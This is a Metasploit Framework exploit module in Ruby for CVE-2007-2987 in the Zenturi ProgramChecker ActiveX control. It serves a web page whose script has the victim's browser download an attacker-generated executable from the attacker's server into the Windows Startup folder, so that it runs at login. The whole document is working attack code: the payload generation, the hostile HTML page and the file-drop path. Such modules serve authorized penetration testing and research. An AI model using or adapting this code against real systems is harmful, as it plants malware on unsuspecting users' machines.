Zenturi ProgramChecker ActiveX Control Arbitrary File Download



##

# $Id: zenturiprogramchecker_unsafe.rb 11127 2010-11-24 19:35:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::EXE

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Zenturi ProgramChecker ActiveX Control Arbitrary File Download',
            'Description'    => %q{
                    This module allows remote attackers to place arbitrary files on a users file system
                via the Zenturi ProgramChecker sasatl.dll (1.5.0.531) ActiveX Control.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'MC' ],
            'Version'        => '$Revision: 11127 $',
            'References'     =>
                [
                    [ 'CVE', '2007-2987' ],
                    [ 'OSVDB', '36715' ],
                    [ 'BID', '24217' ],
                ],
            'Payload'        =>
                {
                    'Space'           => 2048,
                    'StackAdjustment' => -3500,
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', { } ],
                ],
            'DisclosureDate' => 'May 29 2007',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
            ], self.class)
    end

    def autofilter
        false
    end

    def check_dependencies
        use_zlib
    end

    def on_request_uri(cli, request)

        payload_url =  "http://"
        payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

        if (request.uri.match(/payload/))
            return if ((p = regenerate_payload(cli)) == nil)
            data = generate_payload_exe({ :code => p.encoded })
            print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
            send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
            return
        end

        vname  = rand_text_alpha(rand(100) + 1)
        exe    = rand_text_alpha(rand(20) + 1)

        content = %Q|
        <html>
            <object id='#{vname}' classid='clsid:59DBDDA6-9A80-42A4-B824-9BC50CC172F5'></object>
            <script language="JavaScript">
                #{vname}.DownloadFile("#{payload_url}", "#{datastore['PATH']}\\#{exe}.exe", 1, 1);
            </script>
        </html>
                |

        print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

        send_response_html(cli, content)

        handler(cli)

    end

end